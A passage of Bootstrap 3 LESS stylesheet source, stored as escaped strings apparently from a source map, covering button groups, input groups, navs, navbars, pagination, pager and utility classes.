.btn-group and we need :first-child and :last-child to both match\n.btn-group > .btn:first-child {\n margin-left: 0;\n &:not(:last-child):not(.dropdown-toggle) {\n .border-right-radius(0);\n }\n}\n// Need .dropdown-toggle since :last-child doesn't apply, given that a .dropdown-menu is used immediately after it\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n .border-left-radius(0);\n}\n\n// Custom edits for including btn-groups within btn-groups (useful for including dropdown buttons within a btn-group)\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-right-radius(0);\n }\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-left-radius(0);\n}\n\n// On active and open, don't show outline\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n\n\n// Sizing\n//\n// Remix the default button sizing classes into new ones for easier manipulation.\n\n.btn-group-xs > .btn { &:extend(.btn-xs); }\n.btn-group-sm > .btn { &:extend(.btn-sm); }\n.btn-group-lg > .btn { &:extend(.btn-lg); }\n\n\n// Split button dropdowns\n// ----------------------\n\n// Give the line between buttons some depth\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n\n// The clickable button for toggling the menu\n// Remove the gradient and set the same inset shadow as the :active state\n.btn-group.open .dropdown-toggle {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n\n // Show no shadow for `.btn-link` since it has no other button styles.\n &.btn-link {\n .box-shadow(none);\n }\n}\n\n\n// Reposition the caret\n.btn .caret {\n margin-left: 0;\n}\n// Carets in other button sizes\n.btn-lg .caret {\n border-width: @caret-width-large @caret-width-large 0;\n border-bottom-width: 0;\n}\n// Upside down carets for .dropup\n.dropup .btn-lg .caret {\n border-width: 0 @caret-width-large @caret-width-large;\n}\n\n\n// Vertical button groups\n// ----------------------\n\n.btn-group-vertical {\n > .btn,\n > .btn-group,\n > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n }\n\n // Clear floats so dropdown menus can be properly placed\n > .btn-group {\n &:extend(.clearfix all);\n > .btn {\n float: none;\n }\n }\n\n > .btn + .btn,\n > .btn + .btn-group,\n > .btn-group + .btn,\n > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n }\n}\n\n.btn-group-vertical > .btn {\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n &:first-child:not(:last-child) {\n .border-top-radius(@btn-border-radius-base);\n .border-bottom-radius(0);\n }\n &:last-child:not(:first-child) {\n .border-top-radius(0);\n .border-bottom-radius(@btn-border-radius-base);\n }\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-bottom-radius(0);\n }\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-top-radius(0);\n}\n\n\n// Justified button groups\n// ----------------------\n\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n > .btn,\n > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n }\n > .btn-group .btn {\n width: 100%;\n }\n\n > .btn-group .dropdown-menu {\n left: auto;\n }\n}\n\n\n// Checkbox and radio options\n//\n// In order to support the browser's form validation feedback, powered by the\n// `required` attribute, we have to \"hide\" the inputs via `clip`. We cannot use\n// `display: none;` or `visibility: hidden;` as that also hides the popover.\n// Simply visually hiding the inputs via `opacity` would leave them clickable in\n// certain cases which is prevented by using `clip` and `pointer-events`.\n// This way, we ensure a DOM element is visible to position the popover from.\n//\n// See https://github.com/twbs/bootstrap/pull/12794 and\n// https://github.com/twbs/bootstrap/pull/14559 for more information.\n\n[data-toggle=\"buttons\"] {\n > .btn,\n > .btn-group > .btn {\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0,0,0,0);\n pointer-events: none;\n }\n }\n}\n","// Single side border-radius\n\n.border-top-radius(@radius) {\n border-top-right-radius: @radius;\n border-top-left-radius: @radius;\n}\n.border-right-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-top-right-radius: @radius;\n}\n.border-bottom-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-bottom-left-radius: @radius;\n}\n.border-left-radius(@radius) {\n border-bottom-left-radius: @radius;\n border-top-left-radius: @radius;\n}\n","//\n// Input groups\n// --------------------------------------------------\n\n// Base styles\n// -------------------------\n.input-group {\n position: relative; // For dropdowns\n display: table;\n border-collapse: separate; // prevent input groups from inheriting border styles from table cells when placed within a table\n\n // Undo padding and float of grid classes\n &[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n }\n\n .form-control {\n // Ensure that the input is always above the *appended* addon button for\n // proper border colors.\n position: relative;\n z-index: 2;\n\n // IE9 fubars the placeholder attribute in text inputs and the arrows on\n // select elements in input groups. To fix it, we float the input. Details:\n // https://github.com/twbs/bootstrap/issues/11561#issuecomment-28936855\n float: left;\n\n width: 100%;\n margin-bottom: 0;\n\n &:focus {\n z-index: 3;\n }\n }\n}\n\n// Sizing options\n//\n// Remix the default form control sizing classes into new ones for easier\n// manipulation.\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n .input-lg();\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n .input-sm();\n}\n\n\n// Display as table-cell\n// -------------------------\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n}\n// Addon and addon wrapper for buttons\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle; // Match the inputs\n}\n\n// Text input groups\n// -------------------------\n.input-group-addon {\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n font-weight: normal;\n line-height: 1;\n color: @input-color;\n text-align: center;\n background-color: @input-group-addon-bg;\n border: 1px solid @input-group-addon-border-color;\n border-radius: @input-border-radius;\n\n // Sizing\n &.input-sm {\n padding: @padding-small-vertical @padding-small-horizontal;\n font-size: @font-size-small;\n border-radius: @input-border-radius-small;\n }\n &.input-lg {\n padding: @padding-large-vertical @padding-large-horizontal;\n font-size: @font-size-large;\n border-radius: @input-border-radius-large;\n }\n\n // Nuke default margins from checkboxes and radios to vertically center within.\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n margin-top: 0;\n }\n}\n\n// Reset rounded corners\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n .border-right-radius(0);\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n .border-left-radius(0);\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n\n// Button input groups\n// -------------------------\n.input-group-btn {\n position: relative;\n // Jankily prevent input button groups from wrapping with `white-space` and\n // `font-size` in combination with `inline-block` on buttons.\n font-size: 0;\n white-space: nowrap;\n\n // Negative margin for spacing, position for bringing hovered/focused/actived\n // element above the siblings.\n > .btn {\n position: relative;\n + .btn {\n margin-left: -1px;\n }\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active {\n z-index: 2;\n }\n }\n\n // Negative margin to only have a 1px border between the two\n &:first-child {\n > .btn,\n > .btn-group {\n margin-right: -1px;\n }\n }\n &:last-child {\n > .btn,\n > .btn-group {\n z-index: 2;\n margin-left: -1px;\n }\n }\n}\n","//\n// Navs\n// --------------------------------------------------\n\n\n// Base class\n// --------------------------------------------------\n\n.nav {\n margin-bottom: 0;\n padding-left: 0; // Override default ul/ol\n list-style: none;\n &:extend(.clearfix all);\n\n > li {\n position: relative;\n display: block;\n\n > a {\n position: relative;\n display: block;\n padding: @nav-link-padding;\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: @nav-link-hover-bg;\n }\n }\n\n // Disabled state sets text to gray and nukes hover/tab effects\n &.disabled > a {\n color: @nav-disabled-link-color;\n\n &:hover,\n &:focus {\n color: @nav-disabled-link-hover-color;\n text-decoration: none;\n background-color: transparent;\n cursor: @cursor-disabled;\n }\n }\n }\n\n // Open dropdowns\n .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @nav-link-hover-bg;\n border-color: @link-color;\n }\n }\n\n // Nav dividers (deprecated with v3.0.1)\n //\n // This should have been removed in v3 with the dropping of `.nav-list`, but\n // we missed it. We don't currently support this anywhere, but in the interest\n // of maintaining backward compatibility in case you use it, it's deprecated.\n .nav-divider {\n .nav-divider();\n }\n\n // Prevent IE8 from misplacing imgs\n //\n // See https://github.com/h5bp/html5-boilerplate/issues/984#issuecomment-3985989\n > li > a > img {\n max-width: none;\n }\n}\n\n\n// Tabs\n// -------------------------\n\n// Give the tabs something to sit on\n.nav-tabs {\n border-bottom: 1px solid @nav-tabs-border-color;\n > li {\n float: left;\n // Make the list-items overlay the bottom border\n margin-bottom: -1px;\n\n // Actual tabs (as links)\n > a {\n margin-right: 2px;\n line-height: @line-height-base;\n border: 1px solid transparent;\n border-radius: @border-radius-base @border-radius-base 0 0;\n &:hover {\n border-color: @nav-tabs-link-hover-border-color @nav-tabs-link-hover-border-color @nav-tabs-border-color;\n }\n }\n\n // Active state, and its :hover to override normal :hover\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-tabs-active-link-hover-color;\n background-color: @nav-tabs-active-link-hover-bg;\n border: 1px solid @nav-tabs-active-link-hover-border-color;\n border-bottom-color: transparent;\n cursor: default;\n }\n }\n }\n // pulling this in mainly for less shorthand\n &.nav-justified {\n .nav-justified();\n .nav-tabs-justified();\n }\n}\n\n\n// Pills\n// -------------------------\n.nav-pills {\n > li {\n float: left;\n\n // Links rendered as pills\n > a {\n border-radius: @nav-pills-border-radius;\n }\n + li {\n margin-left: 2px;\n }\n\n // Active state\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-pills-active-link-hover-color;\n background-color: @nav-pills-active-link-hover-bg;\n }\n }\n }\n}\n\n\n// Stacked pills\n.nav-stacked {\n > li {\n float: none;\n + li {\n margin-top: 2px;\n margin-left: 0; // no need for this gap between nav items\n }\n }\n}\n\n\n// Nav variations\n// --------------------------------------------------\n\n// Justified nav links\n// -------------------------\n\n.nav-justified {\n width: 100%;\n\n > li {\n float: none;\n > a {\n text-align: center;\n margin-bottom: 5px;\n }\n }\n\n > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n }\n\n @media (min-width: @screen-sm-min) {\n > li {\n display: table-cell;\n width: 1%;\n > a {\n margin-bottom: 0;\n }\n }\n }\n}\n\n// Move borders to anchors instead of bottom of list\n//\n// Mixin for adding on top the shared `.nav-justified` styles for our tabs\n.nav-tabs-justified {\n border-bottom: 0;\n\n > li > a {\n // Override margin from .nav-tabs\n margin-right: 0;\n border-radius: @border-radius-base;\n }\n\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border: 1px solid @nav-tabs-justified-link-border-color;\n }\n\n @media (min-width: @screen-sm-min) {\n > li > a {\n border-bottom: 1px solid @nav-tabs-justified-link-border-color;\n border-radius: @border-radius-base @border-radius-base 0 0;\n }\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border-bottom-color: @nav-tabs-justified-active-link-border-color;\n }\n }\n}\n\n\n// Tabbable tabs\n// -------------------------\n\n// Hide tabbable panes to start, show them when `.active`\n.tab-content {\n > .tab-pane {\n display: none;\n }\n > .active {\n display: block;\n }\n}\n\n\n// Dropdowns\n// -------------------------\n\n// Specific dropdowns\n.nav-tabs .dropdown-menu {\n // make dropdown border overlap tab border\n margin-top: -1px;\n // Remove the top rounded corners here since there is a hard edge above the menu\n .border-top-radius(0);\n}\n","//\n// Navbars\n// --------------------------------------------------\n\n\n// Wrapper and base class\n//\n// Provide a static navbar from which we expand to create full-width, fixed, and\n// other navbar variations.\n\n.navbar {\n position: relative;\n min-height: @navbar-height; // Ensure a navbar always shows (e.g., without a .navbar-brand in collapsed mode)\n margin-bottom: @navbar-margin-bottom;\n border: 1px solid transparent;\n\n // Prevent floats from breaking the navbar\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: @navbar-border-radius;\n }\n}\n\n\n// Navbar heading\n//\n// Groups `.navbar-brand` and `.navbar-toggle` into a single component for easy\n// styling of responsive aspects.\n\n.navbar-header {\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n }\n}\n\n\n// Navbar collapse (body)\n//\n// Group your navbar content into this for easy collapsing and expanding across\n// various device sizes. By default, this content is collapsed when <768px, but\n// will expand past that for a horizontal display.\n//\n// To start (on mobile devices) the navbar links, forms, and buttons are stacked\n// vertically and include a `max-height` to overflow in case you have too much\n// content for the user's viewport.\n\n.navbar-collapse {\n overflow-x: visible;\n padding-right: @navbar-padding-horizontal;\n padding-left: @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255,255,255,.1);\n &:extend(.clearfix all);\n -webkit-overflow-scrolling: touch;\n\n &.in {\n overflow-y: auto;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border-top: 0;\n box-shadow: none;\n\n &.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0; // Override default setting\n overflow: visible !important;\n }\n\n &.in {\n overflow-y: visible;\n }\n\n // Undo the collapse side padding for navbars with containers to ensure\n // alignment of right-aligned contents.\n .navbar-fixed-top &,\n .navbar-static-top &,\n .navbar-fixed-bottom & {\n padding-left: 0;\n padding-right: 0;\n }\n }\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n .navbar-collapse {\n max-height: @navbar-collapse-max-height;\n\n @media (max-device-width: @screen-xs-min) and (orientation: landscape) {\n max-height: 200px;\n }\n }\n}\n\n\n// Both navbar header and collapse\n//\n// When a container is present, change the behavior of the header and collapse.\n\n.container,\n.container-fluid {\n > .navbar-header,\n > .navbar-collapse {\n margin-right: -@navbar-padding-horizontal;\n margin-left: -@navbar-padding-horizontal;\n\n @media (min-width: @grid-float-breakpoint) {\n margin-right: 0;\n margin-left: 0;\n }\n }\n}\n\n\n//\n// Navbar alignment options\n//\n// Display the navbar across the entirety of the page or fixed it to the top or\n// bottom of the page.\n\n// Static top (unfixed, but 100% wide) navbar\n.navbar-static-top {\n z-index: @zindex-navbar;\n border-width: 0 0 1px;\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n\n// Fix the top/bottom navbars when screen real estate supports it\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: @zindex-navbar-fixed;\n\n // Undo the rounded corners\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0; // override .navbar defaults\n border-width: 1px 0 0;\n}\n\n\n// Brand/project name\n\n.navbar-brand {\n float: left;\n padding: @navbar-padding-vertical @navbar-padding-horizontal;\n font-size: @font-size-large;\n line-height: @line-height-computed;\n height: @navbar-height;\n\n &:hover,\n &:focus {\n text-decoration: none;\n }\n\n > img {\n display: block;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n .navbar > .container &,\n .navbar > .container-fluid & {\n margin-left: -@navbar-padding-horizontal;\n }\n }\n}\n\n\n// Navbar toggle\n//\n// Custom button for toggling the `.navbar-collapse`, powered by the collapse\n// JavaScript plugin.\n\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: @navbar-padding-horizontal;\n padding: 9px 10px;\n .navbar-vertical-align(34px);\n background-color: transparent;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n border-radius: @border-radius-base;\n\n // We remove the `outline` here, but later compensate by attaching `:hover`\n // styles to `:focus`.\n &:focus {\n outline: 0;\n }\n\n // Bars\n .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n }\n .icon-bar + .icon-bar {\n margin-top: 4px;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n display: none;\n }\n}\n\n\n// Navbar nav links\n//\n// Builds on top of the `.nav` components with its own modifier class to make\n// the nav the full height of the horizontal nav (above 768px).\n\n.navbar-nav {\n margin: (@navbar-padding-vertical / 2) -@navbar-padding-horizontal;\n\n > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: @line-height-computed;\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n > li > a,\n .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n > li > a {\n line-height: @line-height-computed;\n &:hover,\n &:focus {\n background-image: none;\n }\n }\n }\n }\n\n // Uncollapse the nav\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin: 0;\n\n > li {\n float: left;\n > a {\n padding-top: @navbar-padding-vertical;\n padding-bottom: @navbar-padding-vertical;\n }\n }\n }\n}\n\n\n// Navbar form\n//\n// Extension of the `.form-inline` with some extra flavor for optimum display in\n// our navbars.\n\n.navbar-form {\n margin-left: -@navbar-padding-horizontal;\n margin-right: -@navbar-padding-horizontal;\n padding: 10px @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n @shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n\n // Mixin behavior for optimum display\n .form-inline();\n\n .form-group {\n @media (max-width: @grid-float-breakpoint-max) {\n margin-bottom: 5px;\n\n &:last-child {\n margin-bottom: 0;\n }\n }\n }\n\n // Vertically center in expanded, horizontal navbar\n .navbar-vertical-align(@input-height-base);\n\n // Undo 100% width for pull classes\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n .box-shadow(none);\n }\n}\n\n\n// Dropdown menus\n\n// Menu position and menu carets\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n .border-top-radius(0);\n}\n// Menu position and menu caret support for dropups via extra dropup class\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n .border-top-radius(@navbar-border-radius);\n .border-bottom-radius(0);\n}\n\n\n// Buttons in navbars\n//\n// Vertically center a button within a navbar (when *not* in a form).\n\n.navbar-btn {\n .navbar-vertical-align(@input-height-base);\n\n &.btn-sm {\n .navbar-vertical-align(@input-height-small);\n }\n &.btn-xs {\n .navbar-vertical-align(22);\n }\n}\n\n\n// Text in navbars\n//\n// Add a class to make any element properly align itself vertically within the navbars.\n\n.navbar-text {\n .navbar-vertical-align(@line-height-computed);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin-left: @navbar-padding-horizontal;\n margin-right: @navbar-padding-horizontal;\n }\n}\n\n\n// Component alignment\n//\n// Repurpose the pull utilities as their own navbar utilities to avoid specificity\n// issues with parents and chaining. Only do this when the navbar is uncollapsed\n// though so that navbar contents properly stack and align in mobile.\n//\n// Declared after the navbar components to ensure more specificity on the margins.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-left { .pull-left(); }\n .navbar-right {\n .pull-right();\n margin-right: -@navbar-padding-horizontal;\n\n ~ .navbar-right {\n margin-right: 0;\n }\n }\n}\n\n\n// Alternate navbars\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n background-color: @navbar-default-bg;\n border-color: @navbar-default-border;\n\n .navbar-brand {\n color: @navbar-default-brand-color;\n &:hover,\n &:focus {\n color: @navbar-default-brand-hover-color;\n background-color: @navbar-default-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-default-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-default-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n\n .navbar-toggle {\n border-color: @navbar-default-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-default-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-default-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: @navbar-default-border;\n }\n\n // Dropdown menu items\n .navbar-nav {\n // Remove background color from open dropdown\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-default-link-active-bg;\n color: @navbar-default-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n > li > a {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n }\n }\n\n\n // Links in navbars\n //\n // Add a class to ensure links outside the navbar nav are colored correctly.\n\n .navbar-link {\n color: @navbar-default-link-color;\n &:hover {\n color: @navbar-default-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n }\n }\n }\n}\n\n// Inverse navbar\n\n.navbar-inverse {\n background-color: @navbar-inverse-bg;\n border-color: @navbar-inverse-border;\n\n .navbar-brand {\n color: @navbar-inverse-brand-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-brand-hover-color;\n background-color: @navbar-inverse-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-inverse-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-inverse-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n\n // Darken the responsive nav toggle\n .navbar-toggle {\n border-color: @navbar-inverse-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-inverse-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-inverse-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: darken(@navbar-inverse-bg, 7%);\n }\n\n // Dropdowns\n .navbar-nav {\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-inverse-link-active-bg;\n color: @navbar-inverse-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display\n .open .dropdown-menu {\n > .dropdown-header {\n border-color: @navbar-inverse-border;\n }\n .divider {\n background-color: @navbar-inverse-border;\n }\n > li > a {\n color: @navbar-inverse-link-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n }\n }\n\n .navbar-link {\n color: @navbar-inverse-link-color;\n &:hover {\n color: @navbar-inverse-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-inverse-link-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n }\n }\n }\n}\n","// Navbar vertical align\n//\n// Vertically center elements in the navbar.\n// Example: an element has a height of 30px, so write out `.navbar-vertical-align(30px);` to calculate the appropriate top margin.\n\n.navbar-vertical-align(@element-height) {\n margin-top: ((@navbar-height - @element-height) / 2);\n margin-bottom: ((@navbar-height - @element-height) / 2);\n}\n","//\n// Utility classes\n// --------------------------------------------------\n\n\n// Floats\n// -------------------------\n\n.clearfix {\n .clearfix();\n}\n.center-block {\n .center-block();\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n\n\n// Toggling content\n// -------------------------\n\n// Note: Deprecated .hide in favor of .hidden or .sr-only (as appropriate) in v3.0.1\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n .text-hide();\n}\n\n\n// Hide from screenreaders and browsers\n//\n// Credit: HTML5 Boilerplate\n\n.hidden {\n display: none !important;\n}\n\n\n// For Affix plugin\n// -------------------------\n\n.affix {\n position: fixed;\n}\n","//\n// Breadcrumbs\n// --------------------------------------------------\n\n\n.breadcrumb {\n padding: @breadcrumb-padding-vertical @breadcrumb-padding-horizontal;\n margin-bottom: @line-height-computed;\n list-style: none;\n background-color: @breadcrumb-bg;\n border-radius: @border-radius-base;\n\n > li {\n display: inline-block;\n\n + li:before {\n content: \"@{breadcrumb-separator}\\00a0\"; // Unicode space added since inline-block means non-collapsing white-space\n padding: 0 5px;\n color: @breadcrumb-color;\n }\n }\n\n > .active {\n color: @breadcrumb-active-color;\n }\n}\n","//\n// Pagination (multiple pages)\n// --------------------------------------------------\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: @line-height-computed 0;\n border-radius: @border-radius-base;\n\n > li {\n display: inline; // Remove list-style and block-level defaults\n > a,\n > span {\n position: relative;\n float: left; // Collapse white-space\n padding: @padding-base-vertical @padding-base-horizontal;\n line-height: @line-height-base;\n text-decoration: none;\n color: @pagination-color;\n background-color: @pagination-bg;\n border: 1px solid @pagination-border;\n margin-left: -1px;\n }\n &:first-child {\n > a,\n > span {\n margin-left: 0;\n .border-left-radius(@border-radius-base);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius-base);\n }\n }\n }\n\n > li > a,\n > li > span {\n &:hover,\n &:focus {\n z-index: 2;\n color: @pagination-hover-color;\n background-color: @pagination-hover-bg;\n border-color: @pagination-hover-border;\n }\n }\n\n > .active > a,\n > .active > span {\n &,\n &:hover,\n &:focus {\n z-index: 3;\n color: @pagination-active-color;\n background-color: @pagination-active-bg;\n border-color: @pagination-active-border;\n cursor: default;\n }\n }\n\n > .disabled {\n > span,\n > span:hover,\n > span:focus,\n > a,\n > a:hover,\n > a:focus {\n color: @pagination-disabled-color;\n background-color: @pagination-disabled-bg;\n border-color: @pagination-disabled-border;\n cursor: @cursor-disabled;\n }\n }\n}\n\n// Sizing\n// --------------------------------------------------\n\n// Large\n.pagination-lg {\n .pagination-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @border-radius-large);\n}\n\n// Small\n.pagination-sm {\n .pagination-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @border-radius-small);\n}\n","// Pagination\n\n.pagination-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n > li {\n > a,\n > span {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n }\n &:first-child {\n > a,\n > span {\n .border-left-radius(@border-radius);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius);\n }\n }\n }\n}\n","//\n// Pager pagination\n// --------------------------------------------------\n\n\n.pager {\n padding-left: 0;\n margin: @line-height-computed 0;\n list-style: none;\n text-align: center;\n &:extend(.clearfix all);\n li {\n display: inline;\n > a,\n > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: @pager-bg;\n border: 1px solid @pager-border;\n border-radius: @pager-border-radius;\n }\n\n > a:hover,\n > a:focus {\n text-decoration: none;\n background-color: @pager-hover-bg;\n }\n }\n\n .next {\n > a,\n > span {\n float: right;\n }\n }\n\n .previous {\n > a,\n > span {\n float: left;\n }\n }\n\n .disabled {\n > a,\n > a:hover,\n > a:focus,\n > span {\n color: @pager-disabled-color;\n background-color: @pager-bg;\n cursor: @cursor-disabled;\n }\n }\n}\n","//\n// Labels\n// --------------------------------------------------\n\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: 